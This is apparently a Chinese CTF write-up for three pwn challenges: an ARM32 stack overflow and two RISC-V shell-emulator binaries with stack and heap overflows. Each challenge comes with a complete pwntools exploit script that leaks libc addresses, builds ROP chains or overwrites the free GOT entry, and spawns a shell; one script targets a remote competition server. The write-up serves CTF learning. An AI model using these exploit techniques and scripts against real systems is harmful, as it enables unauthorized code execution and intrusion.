三道题,两个riscv,一个arm签到,👴看了一天的riscv,就是没有找到洞,就很离谱,然后👴看到上了个新题,还是个签到arm,这👴直接一把梭,抢个一血,舒服了,剩下俩题比赛结束发现,👴洞找都找歪来,艹(👴就说猜那echo有个堆溢出,然后对着第一题找了半天,结果第二题的洞和👴猜的一模一样,第一题结果是个栈溢出,👴傻了)。
pwn1 简单的arm32的栈溢出,开了个nx保护,直接先打过去用printf泄露一次libc地址,然后利用这个地址和libc里的gadget,libc里的system,binsh字符串。直接打就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *import oscontext.log_level = 'debug' elf=ELF('./bin' ) libc=ELF('./libc-2.31.so' ) read_got=elf.got['read' ] printf_got=elf.got['printf' ] def gdb_attach () : os.system('xfce4-terminal -x sh -c "gdb-multiarch test_mips -ex \'target remote 127.0.0.1:1234\'"' ) p=remote('139.159.210.220' ,'9999' ) p.recvuntil('input:' ) ''' 0x00010500 : pop {fp, pc} 0x00010348 : pop {r3, pc} 0x00010498 : pop {r4, pc} 0x000bc0c4 : pop {r0, r1, r2, r3, fp, pc} 0x0006beec : pop {r0, r4, pc} ''' use_addr=0x104d8 read_addr=0xff748e30 libc_addr=read_addr-libc.sym['read' ] system=libc_addr+libc.sym['system' ] bin_sh=libc_addr+0xFE861 pop_6=0x000bc0c4 +libc_addr pop_3=libc_addr+0x0006beec print(hex(system)) print(hex(libc_addr)) payload='\x00' *0x104 +p32(pop_3)+p32(bin_sh)+p32(0 )+p32(system) p.send(payload) p.interactive()
harmoshell 这题经过👴结束后询问pwn👴👴,才得知原来是个栈溢出,给👴整傻了,下次不能看着malloc就嗯想着找栈了,👴连第二题都没时间看。👴测了下,直接echo 输入一长串(echo > 一个不存在的文件名,要是已经存在的就不会溢出),会有一个segment fault,仔细调试发现是read 0x200,通过下断点可以调试出返回地址的位置,。可以,接下来就是找gadget rop了。这里我们得先泄露libc和heap地址,用来存放bin sh和找system的地址,当然直接用libc里的也可以。
内存结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 0x40007ffbd0 : 0x6161616161616161 0x6262626262626262 0x40007ffbe0 : 0x6363636363636363 0x6464646464646464 0x40007ffbf0 : 0x00000040007ffd0a 0x0000000000025ee0 0x40007ffc00 : 0x0000000000013028 0x000000400080af98 0x40007ffc10 : 0x0000000000000000 0x00000040009a8b50 0x40007ffc20 : 0x00000040007ffd10 0x000000400080f69e 0x40007ffc30 : 0x0000000000000010 0x00000040007ffd10 0x40007ffc40 : 0x00000000000118b8 0x0000000000000007 0x40007ffc50 : 0x0000000000025ea0 0x8a2df9690e721a00 0x40007ffc60 : 0x8a2df9690e721a00 0x0000000000000004 0x40007ffc70 : 0x0000000000000010 0x00000000000115c6 0x40007ffc80 : 0x0000000000000000 0x0000000000000000 0x40007ffc90 : 0x0000000000000000 0x0000000000000000 0x40007ffca0 : 0x0000000000000000 0xffffffff3c23d70a 0x40007ffcb0 : 0x0000000000000000 0x0000000000000000 0x40007ffcc0 : 0x0000000000000000 0x00000040007ffd17 0x40007ffcd0 : 0x0000000000000000 0x0000000000000000 0x40007ffce0 : 0x0000000000012000 0x0000000000000006 0x40007ffcf0 : 0x0000000000013000 0x0000000000011840 0x40007ffd00 : 0x0000000000025e70 0x0000000000010f4c 返回地址,这里我们填上找到的gadget 0x40007ffd10 : 0x63003e006f686365 0x0000000000000000 0x40007ffd20 : 0x0000000000000000 0x0000000000000000 read (0 ,0x40007ffbd0 ,0x200 )
如何找gadget:
首先riscv👴用ROPgadget不好使,ropper也不支持,从github找的一个脚本也不好用,👴佛辣,那就肉眼看吧,ret的为 0x8280,我们可以直接在ida里找ret的汇编,一共几十个。注意一下,riscv是用ra存储返回地址,同时没有pop这种,所以这里我们找ld a0,8(sp)这种,意思就是把sp+0x8位置存入a0,同理找到同时对ra,a0操作的gadget如下:
1 2 3 4 .text:00000000000110 B4 c.ld ra, 18 h(sp) .text:00000000000110 B6 c.ld a0, 8 (sp) .text:00000000000110 B8 c.addi sp, sp, 20 h .text:00000000000110 BA c.ret
然后就根据内存布局直接写payload就行,调用system进行getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import *import oscontext.log_level = 'debug' elf=ELF('./harmoshell' ) libc=ELF('./libs/lib/libc-2.27.so' ) free_got=elf.got['free' ] read_plt=0x10dc0 puts=0x10d20 def gdb_attach () : os.system('xfce4-terminal -x sh -c "gdb-multiarch test_mips -ex \'target remote 127.0.0.1:1234\'"' ) p = process(['./qemu-riscv64' ,'-L' ,'./libs' ,'./harmoshell' ]) def add (name) : p.recvuntil('$ ' ) p.sendline('touch ' +name) def free (name) : p.recvuntil('$ ' ) p.sendline('rm ' +name) def cat (name) : p.recvuntil('$ ' ) p.sendline('cat ' +name) p.recvuntil('Content: ' ) result=p.recvline() return result def edit (name,msg) : p.recvuntil('$ ' ) p.sendline('echo > ' +name) sleep(1 ) p.send(msg) def edit2 (name,msg) : p.recvuntil('$ ' ) p.sendline('echo >> ' +name) sleep(1 ) p.send(msg) def ls () : p.recvuntil('$ ' ) p.sendline('ls' ) ld_ra=0x110b4 for i in range(10 ): add(chr(i+0x61 )) for i in range(8 ): free(chr(i+0x61 )) for i in range(8 ): add(chr(i+0x61 )) heap_addr=u64(cat('b' )[0 :3 ].ljust(8 ,'\x00' )) print(hex(heap_addr)) edit('h' ,'a' *8 ) edit('a' ,'/bin/sh\x00' ) libc_addr=u64(cat('h' )[8 :11 ].ljust(8 ,'\x00' ))-0x1079f8 +0x4000000000 bin_sh=heap_addr+0x280 print(hex(libc_addr)) system=libc_addr+libc.sym['system' ] payload='\x00' *0x110 +p64(0x12000 )+p64(0x6 )+p64(0x13000 )+p64(0x11840 )+p64(0x25e70 )+p64(ld_ra)+p64(0 )+p64(bin_sh)+p64(0 )+p64(system) edit('z' ,payload) ''' ''' ''' .text:00000000000110B4 c.ld ra, 18h(sp) .text:00000000000110B6 c.ld a0, 8(sp) .text:00000000000110B8 c.addi sp, sp, 20h .text:00000000000110BA c.ret ''' p.interactive()
harmoshell2 第二题才是堆溢出是我没想到的,👴看了那么久第一题,结果堆溢出在第二题,照着👴想的第一题堆溢出思路直接秒了,(错失上分机会.jpg),依旧没开保护,和之前xctf第二场那个offbyone一样打free got就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *import oscontext.log_level = 'debug' elf=ELF('./harmoshell2' ) libc=ELF('./libs/lib/libc-2.27.so' ) free_got=elf.got['free' ] def gdb_attach () : os.system('xfce4-terminal -x sh -c "gdb-multiarch test_mips -ex \'target remote 127.0.0.1:1234\'"' ) p = process(['./qemu-riscv64' ,'-L' ,'./libs' ,'-g' ,'12345' ,'./harmoshell2' ]) def add (name) : p.recvuntil('$ ' ) p.sendline('touch ' +name) def free (name) : p.recvuntil('$ ' ) p.sendline('rm ' +name) def cat (name) : p.recvuntil('$ ' ) p.sendline('cat ' +name) p.recvuntil('Content: ' ) result=p.recvline() return result def edit (name,msg) : p.recvuntil('$ ' ) p.sendline('echo > ' +name) sleep(1 ) p.send(msg) def edit2 (name,msg) : p.recvuntil('$ ' ) p.sendline('echo >> ' +name) sleep(1 ) p.send(msg) def ls () : p.recvuntil('$ ' ) p.sendline('ls' ) pause() add('a' ) add('b' ) add('c' ) add('d' ) free('d' ) edit('a' ,'/bin/sh\x00' +'\x00' *0xf8 ) edit('b' ,'b' *0x100 ) payload=p64(0 )+p64(0x31 )+p64(0x62 )+p64(0 )+p64(free_got)+p64(0x3 )+p64(0x3 ) edit2('a' ,payload) free_got=u64(cat('b' )[0 :3 ].ljust(8 ,'\x00' )) libc_addr=free_got-libc.sym['free' ] print(hex(libc_addr)) system=libc_addr+libc.sym['system' ] edit('b' ,p64(system)[0 :3 ]) free('a' ) p.interactive()